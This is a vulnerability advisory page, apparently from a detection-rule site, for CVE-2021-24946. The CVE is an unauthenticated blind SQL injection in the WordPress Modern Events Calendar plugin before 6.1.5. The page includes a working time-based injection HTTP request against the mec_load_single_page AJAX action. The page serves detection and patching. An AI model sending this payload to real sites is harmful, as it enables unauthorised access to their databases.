🔙 목록으로 돌아가기

CVE-2021-24946: WordPress Modern Events Calendar <6.1.5 - Blind SQL Injection

TitleWordPress Modern Events Calendar <6.1.5 - Blind SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
RemediationUpgrade to WordPress Modern Events Calendar version 6.1.5 or later to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.60622
CVE IDCVE-2021-24946
CWE IDCWE-89
Tags time-based-sqli cve2021 cve sqli packetstorm wp wp-plugin unauth wpscan modern-events-calendar-lite wordpress webnus vkev vuln

🔍 Vulnerability Description

WordPress Modern Events Calendar plugin before 6.1.5 is susceptible to blind SQL injection. The plugin does not sanitize and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(6)%20--%20g HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/14.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24946.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24946.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A